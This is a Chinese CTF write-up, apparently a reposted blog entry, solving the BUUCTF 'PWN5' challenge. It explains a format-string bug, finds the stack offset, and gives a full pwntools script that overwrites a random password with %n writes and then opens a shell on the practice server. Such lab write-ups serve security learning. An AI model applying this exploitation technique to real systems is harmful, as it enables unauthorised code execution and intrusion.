[BUUCTF]PWN——[第五空间2019 决赛]PWN5

[第五空间2019 决赛]PWN5

例行检查,32位,开启了canary保护和NX保护。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
运行一下。
在这里插入图片描述
IDA打开,看到了/bin/sh,但开启了保护
在这里插入图片描述
查看主函数,函数的功能是读入一个4位的随机密码,再将我们输入的密码与随机生成数比较,相同就执行system
在这里插入图片描述
这里面的printf()存在格式化字符串漏洞
按我的理解就是输入的参数的个数是不固定的,是由前面的格式化字符串决定的,所以我们只要控制了前面的格式化字符串,再结合一些参数,后面输出什么就是由我们决定的;如:
%d 用于读取10进制数值
%x 用于读取16进制数值   
%s 用于读取字符串值   
%n 用于读取前面字符串的长度并写入某个内存地址

在这里插入图片描述
%$定位参数符
简单来説 就是一个偏移量
在这里插入图片描述

利用思路

1.利用 "AAAA %08x %08x %8x %08x %08x %08x %08x………… ",这样的字符串来找到我们输入的参数在函数栈上的位置,我看别的师傅叫首地址偏移或者偏移量

2.假设是在栈上第n位,那么可以利用 %n$ 定位到参数在栈上的位置

3.利用%n来修改参数里的内容,我们不知道读入的随机数是多少,那么我们将它改成我们写入的数据不就好了

首先我们要定位到我们输入的字符串在栈上的位置。
在这里插入图片描述
我们输入的参数是在栈上的第10个,后面可以直接利用 %10$ 定位到这个位置。
随机生成函数的位置是0x804c044开始的,长度为4字节,依次+1即可。
在这里插入图片描述
所以可以用%10$,%11$,%12$,%13$去定位到这4个地址,再用%n修改这这个地址里的内容,因此构造payload

payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'

写入任意一个数据

r.sendline(str(0x10101010))
from pwn import*

r=remote('node3.buuoj.cn',26959)

payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'

r.sendline(payload)
r.sendline(str(0x10101010))
r.interactive()

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/BangSen1/article/details/115191602